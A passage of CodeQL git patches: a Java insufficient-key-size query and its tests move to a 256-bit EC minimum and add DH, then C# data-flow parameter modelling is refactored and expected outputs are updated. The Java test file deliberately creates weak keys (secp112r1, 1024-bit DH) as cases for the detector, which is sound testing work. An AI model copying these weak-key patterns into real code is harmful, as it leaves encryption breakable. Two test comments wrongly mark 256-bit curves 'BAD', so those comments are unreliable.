dest.getNode().asExpr() = ma.getQualifier() and kc.hasFlowPath(source, dest) @@ -113,7 +116,7 @@ predicate hasShortAsymmetricKeyPair(MethodAccess ma, string msg, string type) { /** Holds if a DSA `KeyPairGenerator` initialized by `ma` uses an insufficient key size. `msg` provides a human-readable description of the problem. */ predicate hasShortDSAKeyPair(MethodAccess ma, string msg) { - hasShortAsymmetricKeyPair(ma, msg, "DSA") + hasShortAsymmetricKeyPair(ma, msg, "DSA") or hasShortAsymmetricKeyPair(ma, msg, "DH") } /** Holds if a RSA `KeyPairGenerator` initialized by `ma` uses an insufficient key size. `msg` provides a human-readable description of the problem. */ @@ -134,9 +137,9 @@ predicate hasShortECKeyPair(MethodAccess ma, string msg) { kc.hasFlowPath(source, dest) and DataFlow::localExprFlow(cie, ma.getArgument(0)) and ma.getArgument(0).getType() instanceof ECGenParameterSpec and - getECKeySize(cie.getArgument(0).(StringLiteral).getRepresentedString()) < 224 + getECKeySize(cie.getArgument(0).(StringLiteral).getRepresentedString()) < 256 ) and - msg = "Key size should be at least 224 bits for EC encryption." + msg = "Key size should be at least 256 bits for EC encryption." } from Expr e, string msg diff --git a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected index f350495d28f..421335b84ff 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected @@ -1,8 +1,11 @@ | InsufficientKeySize.java:9:9:9:24 | init(...) | Key size should be at least 128 bits for AES encryption. | | InsufficientKeySize.java:17:9:17:36 | initialize(...) | Key size should be at least 2048 bits for RSA encryption. | | InsufficientKeySize.java:25:9:25:36 | initialize(...) | Key size should be at least 2048 bits for DSA encryption. | -| InsufficientKeySize.java:34:9:34:39 | initialize(...) | Key size should be at least 224 bits for EC encryption. | -| InsufficientKeySize.java:38:9:38:67 | initialize(...) | Key size should be at least 224 bits for EC encryption. | -| InsufficientKeySize.java:48:9:48:39 | initialize(...) | Key size should be at least 224 bits for EC encryption. | -| InsufficientKeySize.java:53:9:53:39 | initialize(...) | Key size should be at least 224 bits for EC encryption. | -| InsufficientKeySize.java:58:9:58:40 | initialize(...) | Key size should be at least 224 bits for EC encryption. | +| InsufficientKeySize.java:34:9:34:39 | initialize(...) | Key size should be at least 256 bits for EC encryption. | +| InsufficientKeySize.java:38:9:38:67 | initialize(...) | Key size should be at least 256 bits for EC encryption. | +| InsufficientKeySize.java:48:9:48:39 | initialize(...) | Key size should be at least 256 bits for EC encryption. | +| InsufficientKeySize.java:53:9:53:39 | initialize(...) | Key size should be at least 256 bits for EC encryption. | +| InsufficientKeySize.java:58:9:58:40 | initialize(...) | Key size should be at least 256 bits for EC encryption. | +| InsufficientKeySize.java:68:9:68:40 | initialize(...) | Key size should be at least 256 bits for EC encryption. | +| InsufficientKeySize.java:78:9:78:40 | initialize(...) | Key size should be at least 256 bits for EC encryption. | +| InsufficientKeySize.java:87:9:87:37 | initialize(...) | Key size should be at least 2048 bits for DH encryption. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java index 45b7c610df1..df46d6e69a9 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java +++ b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java @@ -29,37 +29,65 @@ public class InsufficientKeySize { keyPairGen4.initialize(2048); KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC"); - // BAD: Key size is less than 224 + // BAD: Key size is less than 256 ECGenParameterSpec ecSpec1 = new ECGenParameterSpec("secp112r1"); keyPairGen5.initialize(ecSpec1); KeyPairGenerator keyPairGen6 = KeyPairGenerator.getInstance("EC"); - // BAD: Key size is less than 224 + // BAD: Key size is less than 256 keyPairGen6.initialize(new ECGenParameterSpec("secp112r1")); KeyPairGenerator keyPairGen7 = KeyPairGenerator.getInstance("EC"); - // GOOD: Key size is no less than 224 + // GOOD: Key size is no less than 256 ECGenParameterSpec ecSpec2 = new ECGenParameterSpec("secp256r1"); keyPairGen7.initialize(ecSpec2); KeyPairGenerator keyPairGen8 = KeyPairGenerator.getInstance("EC"); - // BAD: Key size is less than 224 + // BAD: Key size is less than 256 ECGenParameterSpec ecSpec3 = new ECGenParameterSpec("X9.62 prime192v2"); keyPairGen8.initialize(ecSpec3); KeyPairGenerator keyPairGen9 = KeyPairGenerator.getInstance("EC"); - // BAD: Key size is less than 224 + // BAD: Key size is less than 256 ECGenParameterSpec ecSpec4 = new ECGenParameterSpec("X9.62 c2tnb191v3"); keyPairGen9.initialize(ecSpec4); KeyPairGenerator keyPairGen10 = KeyPairGenerator.getInstance("EC"); - // BAD: Key size is less than 224 + // BAD: Key size is less than 256 ECGenParameterSpec ecSpec5 = new ECGenParameterSpec("sect163k1"); keyPairGen10.initialize(ecSpec5); KeyPairGenerator keyPairGen11 = KeyPairGenerator.getInstance("EC"); - // GOOD: Key size is no less than 224 + // GOOD: Key size is no less than 256 ECGenParameterSpec ecSpec6 = new ECGenParameterSpec("X9.62 c2tnb359v1"); keyPairGen11.initialize(ecSpec6); + + KeyPairGenerator keyPairGen12 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is less than 256 + ECGenParameterSpec ecSpec7 = new ECGenParameterSpec("prime192v2"); + keyPairGen12.initialize(ecSpec7); + + KeyPairGenerator keyPairGen13 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is no less than 256 + ECGenParameterSpec ecSpec8 = new ECGenParameterSpec("prime256v1"); + keyPairGen13.initialize(ecSpec8); + + KeyPairGenerator keyPairGen14 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is less than 256 + ECGenParameterSpec ecSpec9 = new ECGenParameterSpec("c2tnb191v1"); + keyPairGen14.initialize(ecSpec9); + + KeyPairGenerator keyPairGen15 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is no less than 256 + ECGenParameterSpec ecSpec10 = new ECGenParameterSpec("c2tnb431r1"); + keyPairGen15.initialize(ecSpec10); + + KeyPairGenerator keyPairGen16 = KeyPairGenerator.getInstance("dh"); + // BAD: Key size is less than 2048 + keyPairGen16.initialize(1024); + + KeyPairGenerator keyPairGen17 = KeyPairGenerator.getInstance("DH"); + // GOOD: Key size is no less than 2048 + keyPairGen17.initialize(2048); } } From 6ee5cdf2b2a904c59a2c26b9876b08b8a696a07a Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 27 Oct 2020 13:09:10 +0100 Subject: [PATCH 0894/1241] C#: Simpler data-flow modelling of parameters --- csharp/ql/src/semmle/code/cil/Declaration.qll | 3 - csharp/ql/src/semmle/code/csharp/Member.qll | 3 - .../dataflow/internal/DataFlowDispatch.qll | 2 +- .../dataflow/internal/DataFlowPrivate.qll | 116 ++++++------------ .../dataflow/internal/DataFlowPublic.qll | 6 +- .../dataflow/internal/DelegateDataFlow.qll | 6 +- .../dataflow/internal/FlowSummarySpecific.qll | 2 +- .../ql/src/semmle/code/dotnet/Declaration.qll | 3 + .../csharp7/LocalTaintFlow.expected | 1 + .../dataflow/delegates/DelegateFlow.expected | 4 +- 10 files changed, 49 insertions(+), 97 deletions(-) diff --git a/csharp/ql/src/semmle/code/cil/Declaration.qll b/csharp/ql/src/semmle/code/cil/Declaration.qll index 9260a551ad9..0c58d55caef 100644 --- a/csharp/ql/src/semmle/code/cil/Declaration.qll +++ b/csharp/ql/src/semmle/code/cil/Declaration.qll @@ -24,9 +24,6 @@ class Declaration extends DotNet::Declaration, Element, @cil_declaration { override Declaration getUnboundDeclaration() { result = this } - /** Holds if this declaration is a source declaration. */ - final predicate isUnboundDeclaration() { this = getUnboundDeclaration() } - /** * DEPRECATED: Use `isUnboundDeclaration()` instead. * diff --git a/csharp/ql/src/semmle/code/csharp/Member.qll b/csharp/ql/src/semmle/code/csharp/Member.qll index 1d2bfe0a284..372e3c838a6 100644 --- a/csharp/ql/src/semmle/code/csharp/Member.qll +++ b/csharp/ql/src/semmle/code/csharp/Member.qll @@ -16,9 +16,6 @@ private import TypeRef class Declaration extends DotNet::Declaration, Element, @declaration { override ValueOrRefType getDeclaringType() { none() } - /** Holds if this declaration is unbound. */ - final predicate isUnboundDeclaration() { this = this.getUnboundDeclaration() } - /** Holds if this declaration is unconstructed and in source code. */ final predicate isSourceDeclaration() { this.fromSource() and this.isUnboundDeclaration() } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowDispatch.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowDispatch.qll index 39a626c6dc1..2337f2ec349 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowDispatch.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowDispatch.qll @@ -391,7 +391,7 @@ class SummaryDelegateCall extends DelegateDataFlowCall, TSummaryDelegateCall { override DataFlowCallable getARuntimeTarget(CallContext::CallContext cc) { exists(SummaryDelegateParameterSink p | - p = TSummaryParameterNode(c, pos) and + p.isParameterOf(c, pos) and result = p.getARuntimeTarget(cc) ) } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll index 9169cd292b6..5446323543a 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll @@ -278,14 +278,20 @@ module LocalFlow { ) } + private Ssa::Definition getSsaDefinition(Node n) { + result = n.(SsaDefinitionNode).getDefinition() + or + result = n.(ExplicitParameterNode).getSsaDefinition() + } + /** * Holds if there is a local flow step from `nodeFrom` to `nodeTo` involving * SSA definition `def. */ predicate localSsaFlowStep(Ssa::Definition def, Node nodeFrom, Node nodeTo) { - // Flow from SSA definition to first read + // Flow from SSA definition/parameter to first read exists(ControlFlow::Node cfn | - def = nodeFrom.(SsaDefinitionNode).getDefinition() and + def = getSsaDefinition(nodeFrom) and nodeTo.asExprAtNode(cfn) = def.getAFirstReadAtNode(cfn) ) or @@ -323,11 +329,10 @@ module LocalFlow { ) } - predicate localFlowCapturedVarStep(SsaDefinitionNode nodeFrom, ImplicitCapturedArgumentNode nodeTo) { + predicate localFlowCapturedVarStep(Node nodeFrom, ImplicitCapturedArgumentNode nodeTo) { // Flow from SSA definition to implicit captured variable argument exists(Ssa::ExplicitDefinition def, ControlFlow::Nodes::ElementNode call | - def = nodeFrom.getDefinition() - | + def = getSsaDefinition(nodeFrom) and def.isCapturedVariableDefinitionFlowIn(_, call, _) and nodeTo = TImplicitCapturedArgumentNode(call, def.getSourceVariable().getAssignable()) ) @@ -569,9 +574,15 @@ private module Cached { Stages::DataFlowStage::forceCachingInSameStage() and cfn.getElement() instanceof Expr } or TCilExprNode(CIL::Expr e) { e.getImplementation() instanceof CIL::BestImplementation } or - TSsaDefinitionNode(Ssa::Definition def) or - TInstanceParameterNode(Callable c) { c.hasBody() and not c.(Modifiable).isStatic() } or - TCilParameterNode(CIL::MethodParameter p) { p.getMethod().hasBody() } or + TSsaDefinitionNode(Ssa::Definition def) { + // Handled by `TExplicitParameterNode` below + not def.(Ssa::ExplicitDefinition).getADefinition() instanceof + AssignableDefinitions::ImplicitParameterDefinition + } or + TExplicitParameterNode(DotNet::Parameter p) { p.isUnboundDeclaration() } or + TInstanceParameterNode(Callable c) { + c.isUnboundDeclaration() and not c.(Modifiable).isStatic() + } or TYieldReturnNode(ControlFlow::Nodes::ElementNode cfn) { any(Callable c).canYieldReturn(cfn.getElement()) } or @@ -605,18 +616,6 @@ private module Cached { cfn.getElement() = fla.getQualifier() ) } or - TSummaryParameterNode(SummarizedCallable c, int i) { - exists(SummaryInput input | FlowSummaryImpl::Private::summary(c, input, _, _, _, _) | - input = SummaryInput::parameter(i) - or - input = SummaryInput::delegate(i) - ) - or - exists(SummaryOutput output | - FlowSummaryImpl::Private::summary(c, _, _, output, _, _) and - output = SummaryOutput::delegate(i, _) - ) - } or TSummaryInternalNode( SummarizedCallable c, FlowSummaryImpl::Private::SummaryInternalNodeState state ) { @@ -801,12 +800,10 @@ private module Cached { cached predicate isUnreachableInCall(Node n, DataFlowCall call) { exists( - SsaDefinitionNode paramNode, Ssa::ExplicitDefinition param, Guard guard, - ControlFlow::SuccessorTypes::BooleanSuccessor bs + ExplicitParameterNode paramNode, Guard guard, ControlFlow::SuccessorTypes::BooleanSuccessor bs | viableConstantBooleanParamArg(paramNode, bs.getValue().booleanNot(), call) and - paramNode.getDefinition() = param and - param.getARead() = guard and + paramNode.getSsaDefinition().getARead() = guard and guard.controlsBlock(n.getControlFlowNode().getBasicBlock(), bs, _) ) } @@ -874,6 +871,11 @@ private module Cached { def instanceof Ssa::ImplicitCallDefinition ) or + exists(Parameter p | + p = n.(ParameterNode).getParameter() and + not p.fromSource() + ) + or n instanceof YieldReturnNode or n instanceof ImplicitCapturedArgumentNode @@ -905,33 +907,25 @@ class SsaDefinitionNode extends NodeImpl, TSsaDefinitionNode { override Location getLocationImpl() { result = def.getLocation() } - override string toStringImpl() { - not explicitParameterNode(this, _) and - result = def.toString() - } + override string toStringImpl() { result = def.toString() } } private module ParameterNodes { abstract private class ParameterNodeImpl extends ParameterNode, NodeImpl { } - /** - * Holds if definition node `node` is an entry definition for parameter `p`. - */ - predicate explicitParameterNode(AssignableDefinitionNode node, Parameter p) { - p = node.getDefinition().(AssignableDefinitions::ImplicitParameterDefinition).getParameter() - } - /** * The value of an explicit parameter at function entry, viewed as a node in a data * flow graph. */ - class ExplicitParameterNode extends ParameterNodeImpl { + class ExplicitParameterNode extends ParameterNodeImpl, TExplicitParameterNode { private DotNet::Parameter parameter; - ExplicitParameterNode() { - explicitParameterNode(this, parameter) - or - this = TCilParameterNode(parameter) + ExplicitParameterNode() { this = TExplicitParameterNode(parameter) } + + /** Gets the SSA definition corresponding to this parameter, if any. */ + Ssa::ExplicitDefinition getSsaDefinition() { + result.getADefinition().(AssignableDefinitions::ImplicitParameterDefinition).getParameter() = + this.getParameter() } override DotNet::Parameter getParameter() { result = parameter } @@ -1037,46 +1031,6 @@ private module ParameterNodes { c = this.getEnclosingCallable() } } - - /** A parameter node for a callable with a flow summary. */ - class SummaryParameterNode extends ParameterNodeImpl, SummaryNodeImpl, TSummaryParameterNode { - private SummarizedCallable sc; - private int i; - - SummaryParameterNode() { this = TSummaryParameterNode(sc, i) } - - override Parameter getParameter() { result = sc.getParameter(i) } - - override predicate isParameterOf(DataFlowCallable c, int pos) { - c = sc and - pos = i - } - - override Callable getEnclosingCallableImpl() { result = sc } - - override Type getTypeImpl() { - result = sc.getParameter(i).getType() - or - i = -1 and - result = sc.getDeclaringType() - } - - override ControlFlow::Node getControlFlowNodeImpl() { none() } - - override Location getLocationImpl() { - result = sc.getParameter(i).getLocation() - or - i = -1 and - result = sc.getLocation() - } - - override string toStringImpl() { - result = "[summary] " + sc.getParameter(i) - or - i = -1 and - result = "[summary] this" - } - } } import ParameterNodes @@ -1934,7 +1888,7 @@ private class ConstantBooleanArgumentNode extends ExprNode { pragma[noinline] private predicate viableConstantBooleanParamArg( - SsaDefinitionNode paramNode, boolean b, DataFlowCall call + ParameterNode paramNode, boolean b, DataFlowCall call ) { exists(ConstantBooleanArgumentNode arg | viableParamArg(call, paramNode, arg) and diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll index bf012e53283..13ca7658240 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll @@ -119,12 +119,10 @@ class ExprNode extends Node { class ParameterNode extends Node { ParameterNode() { // charpred needed to avoid making `ParameterNode` abstract - explicitParameterNode(this, _) or + this = TExplicitParameterNode(_) or this.(SsaDefinitionNode).getDefinition() instanceof ImplicitCapturedParameterNodeImpl::SsaCapturedEntryDefinition or - this = TInstanceParameterNode(_) or - this = TCilParameterNode(_) or - this = TSummaryParameterNode(_, _) + this = TInstanceParameterNode(_) } /** Gets the parameter corresponding to this node, if any. */ diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DelegateDataFlow.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DelegateDataFlow.qll index 32d492d8b29..0001dd357b0 100755 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DelegateDataFlow.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DelegateDataFlow.qll @@ -10,6 +10,7 @@ private import semmle.code.csharp.dataflow.CallContext private import semmle.code.csharp.dataflow.internal.DataFlowDispatch private import semmle.code.csharp.dataflow.internal.DataFlowPrivate private import semmle.code.csharp.dataflow.internal.DataFlowPublic +private import semmle.code.csharp.dataflow.FlowSummary private import semmle.code.csharp.dispatch.Dispatch private import semmle.code.csharp.frameworks.system.linq.Expressions @@ -102,9 +103,10 @@ class DelegateCallExpr extends DelegateFlowSink, DataFlow::ExprNode { } /** A parameter of delegate type belonging to a callable with a flow summary. */ -class SummaryDelegateParameterSink extends DelegateFlowSink, SummaryParameterNode { +class SummaryDelegateParameterSink extends DelegateFlowSink, ParameterNode { SummaryDelegateParameterSink() { - this.getType() instanceof SystemLinqExpressions::DelegateExtType + this.getType() instanceof SystemLinqExpressions::DelegateExtType and + this.isParameterOf(any(SummarizedCallable c), _) } } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/FlowSummarySpecific.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/FlowSummarySpecific.qll index 5a96a77a2e7..2edca6111ed 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/FlowSummarySpecific.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/FlowSummarySpecific.qll @@ -87,7 +87,7 @@ module Private { NodeImpl inputNode(SummarizableCallable c, SummaryInput input) { exists(int i | input = TParameterSummaryInput(i) and - result = DataFlowPrivate::TSummaryParameterNode(c, i) + result.(ParameterNode).isParameterOf(c, i) ) or exists(int i | diff --git a/csharp/ql/src/semmle/code/dotnet/Declaration.qll b/csharp/ql/src/semmle/code/dotnet/Declaration.qll index 11fc55f8f3e..301f7859c66 100644 --- a/csharp/ql/src/semmle/code/dotnet/Declaration.qll +++ b/csharp/ql/src/semmle/code/dotnet/Declaration.qll @@ -52,6 +52,9 @@ class Declaration extends NamedElement, @dotnet_declaration { * | `C<int>.Method<string>` | `C<>.Method<>` | */ Declaration getUnboundDeclaration() { result = this } + + /** Holds if this declaration is unbound. */ + final predicate isUnboundDeclaration() { this.getUnboundDeclaration() = this } } /** A member of a type. */ diff --git a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected index ef6b14f1eee..590c31f4510 100644 --- a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected +++ b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected @@ -1,3 +1,4 @@ +| CSharp7.cs:7:7:7:14 | this | CSharp7.cs:9:9:9:9 | this access | | CSharp7.cs:9:9:9:9 | [post] this access | CSharp7.cs:10:9:10:9 | this access | | CSharp7.cs:9:9:9:9 | this access | CSharp7.cs:10:9:10:9 | this access | | CSharp7.cs:10:9:10:9 | [post] this access | CSharp7.cs:11:9:11:9 | this access | diff --git a/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.expected b/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.expected index c8893ec9b0e..9b572b699d0 100644 --- a/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.expected +++ b/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.expected @@ -1,6 +1,6 @@ summaryDelegateCall -| file://:0:0:0:0 | [summary] valueFactory | DelegateFlow.cs:104:23:104:30 | (...) => ... | DelegateFlow.cs:105:23:105:23 | access to local variable f | -| file://:0:0:0:0 | [summary] valueFactory | DelegateFlow.cs:106:13:106:20 | (...) => ... | DelegateFlow.cs:107:23:107:23 | access to local variable f | +| file://:0:0:0:0 | valueFactory | DelegateFlow.cs:104:23:104:30 | (...) => ... | DelegateFlow.cs:105:23:105:23 | access to local variable f | +| file://:0:0:0:0 | valueFactory | DelegateFlow.cs:106:13:106:20 | (...) => ... | DelegateFlow.cs:107:23:107:23 | access to local variable f | delegateCall | DelegateFlow.cs:9:9:9:12 | delegate call | DelegateFlow.cs:5:10:5:11 | M1 | DelegateFlow.cs:17:12:17:13 | delegate creation of type Action<Int32> | | DelegateFlow.cs:9:9:9:12 | delegate call | DelegateFlow.cs:5:10:5:11 | M1 | DelegateFlow.cs:22:12:22:12 | access to parameter a | From e6f81bcf0be64aa1ad9cbd3f3c76b0d991e5c3dd Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 19 Jan 2021 16:55:03 +0100 Subject: [PATCH 0895/1241] C#: Update expected test output --- .../EntityFramework/Dataflow.expected | 98 +++++++++++-------- 1 file changed, 56 insertions(+), 42 deletions(-) diff --git a/csharp/ql/test/library-tests/frameworks/EntityFramework/Dataflow.expected b/csharp/ql/test/library-tests/frameworks/EntityFramework/Dataflow.expected index c940d709220..7d0bd289f9c 100644 --- a/csharp/ql/test/library-tests/frameworks/EntityFramework/Dataflow.expected +++ b/csharp/ql/test/library-tests/frameworks/EntityFramework/Dataflow.expected @@ -1,16 +1,34 @@ edges +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Addresses, [], Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Addresses, [], Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [PersonAddresses, [], Address, Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [PersonAddresses, [], Address, Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [PersonAddresses, [], Person, Name] : String | EntityFramework.cs:206:18:206:28 | access to property Persons [[], Name] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Name] : String | EntityFramework.cs:206:18:206:28 | access to property Persons [[], Name] : String | +| ../../../resources/stubs/EntityFramework.cs:41:49:41:64 | this [Persons, [], Name] : String | EntityFramework.cs:206:18:206:28 | access to property Persons [[], Name] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Addresses, [], Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Addresses, [], Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [PersonAddresses, [], Address, Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [PersonAddresses, [], Address, Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [PersonAddresses, [], Person, Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [[], Name] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:238:18:238:30 | access to property Addresses [[], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Addresses, [], Street] : String | EntityFrameworkCore.cs:245:18:245:28 | access to property Persons [[], Addresses, [], Street] : String | +| ../../../resources/stubs/EntityFramework.cs:80:20:80:30 | this [Persons, [], Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [[], Name] : String | +| ../../../resources/stubs/EntityFramework.cs:81:49:81:64 | this [Persons, [], Name] : String | EntityFrameworkCore.cs:230:18:230:28 | access to property Persons [[], Name] : String | | EntityFramework.cs:61:13:64:13 | { ..., ... } [Name] : String | EntityFramework.cs:68:29:68:30 | access to local variable p1 [Name] : String | | EntityFramework.cs:63:24:63:32 | "tainted" : String | EntityFramework.cs:61:13:64:13 | { ..., ... } [Name] : String | | EntityFramework.cs:68:13:68:15 | [post] access to local variable ctx [Persons, [], Name] : String | EntityFramework.cs:70:13:70:15 | access to local variable ctx [Persons, [], Name] : String | | EntityFramework.cs:68:13:68:23 | [post] access to property Persons [[], Name] : String | EntityFramework.cs:68:13:68:15 | [post] access to local variable ctx [Persons, [], Name] : String | | EntityFramework.cs:68:29:68:30 | access to local variable p1 [Name] : String | EntityFramework.cs:68:13:68:23 | [post] access to property Persons [[], Name] : String | -| EntityFramework.cs:70:13:70:15 | access to local variable ctx [Persons, [], Name] : String | EntityFramework.cs:206:18:206:28 | access to property Persons [[], Name] : String | +| EntityFramework.cs:70:13:70:15 | access to local variable ctx [Persons, [], Name] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Name] : String | | EntityFramework.cs:83:13:86:13 | { ..., ... } [Name] : String | EntityFramework.cs:90:29:90:30 | access to local variable p1 [Name] : String | | EntityFramework.cs:85:24:85:32 | "tainted" : String | EntityFramework.cs:83:13:86:13 | { ..., ... } [Name] : String | | EntityFramework.cs:90:13:90:15 | [post] access to local variable ctx [Persons, [], Name] : String | EntityFramework.cs:92:19:92:21 | access to local variable ctx [Persons, [], Name] : String | | EntityFramework.cs:90:13:90:23 | [post] access to property Persons [[], Name] : String | EntityFramework.cs:90:13:90:15 | [post] access to local variable ctx [Persons, [], Name] : String | | EntityFramework.cs:90:29:90:30 | access to local variable p1 [Name] : String | EntityFramework.cs:90:13:90:23 | [post] access to property Persons [[], Name] : String | -| EntityFramework.cs:92:19:92:21 | access to local variable ctx [Persons, [], Name] : String | EntityFramework.cs:206:18:206:28 | access to property Persons [[], Name] : String | +| EntityFramework.cs:92:19:92:21 | access to local variable ctx [Persons, [], Name] : String | ../../../resources/stubs/EntityFramework.cs:41:49:41:64 | this [Persons, [], Name] : String | | EntityFramework.cs:105:13:108:13 | { ..., ... } [Name] : String | EntityFramework.cs:111:27:111:28 | access to local variable p1 [Name] : String | | EntityFramework.cs:107:24:107:32 | "tainted" : String | EntityFramework.cs:105:13:108:13 | { ..., ... } [Name] : String | | EntityFramework.cs:111:27:111:28 | access to local variable p1 [Name] : String | EntityFramework.cs:195:35:195:35 | p [Name] : String | @@ -29,24 +47,18 @@ edges | EntityFramework.cs:151:13:151:15 | [post] access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:168:13:168:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | | EntityFramework.cs:151:13:151:23 | [post] access to property Persons [[], Addresses, [], Street] : String | EntityFramework.cs:151:13:151:15 | [post] access to local variable ctx [Persons, [], Addresses, [], Street] : String | | EntityFramework.cs:151:29:151:30 | access to local variable p1 [Addresses, [], Street] : String | EntityFramework.cs:151:13:151:23 | [post] access to property Persons [[], Addresses, [], Street] : String | -| EntityFramework.cs:152:13:152:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | -| EntityFramework.cs:152:13:152:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | -| EntityFramework.cs:156:13:156:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:214:18:214:30 | access to property Addresses [[], Street] : String | -| EntityFramework.cs:156:13:156:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | EntityFramework.cs:221:18:221:28 | access to property Persons [[], Addresses, [], Street] : String | +| EntityFramework.cs:152:13:152:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Addresses, [], Street] : String | +| EntityFramework.cs:156:13:156:15 | access to local variable ctx [Persons, [], Addresses, [], Street] : String | ../../../resources/stubs/EntityFramework.cs:40:20:40:30 | this [Persons, [], Addresses, [], Street] : String | | EntityFramework.cs:159:13:162:13 | { ..., ... } [Street] : String | EntityFramework.cs:163:31:163:32 | access to local variable a1 [Street] : String | | EntityFramework.cs:161:26:161:34 | "tainted" : String | EntityFramework.cs:159:13:162:13 | { ..., ... } [Street] : String | | EntityFramework.cs:163:13:163:15 | [post] access to local variable ctx [Addresses, [], Street] : String | EntityFramework.cs:164:13:164:15 | access to local variable ctx [Addresses, [], Street] : String | | EntityFramework.cs:163:13:163:15 | [post] access to local variable ctx [Addresses, [], Street] : String | EntityFramework.cs:168:13:168:15 | access to local variable ctx [Addresses, [], Street] : String | | EntityFramework.cs:163:13:163:25 | [post] access to property Addresses [[], Street] : String | EntityFramework.cs:163:13:163:15 | [post] access to local variable ctx [Addresses, [], Street] : String | | 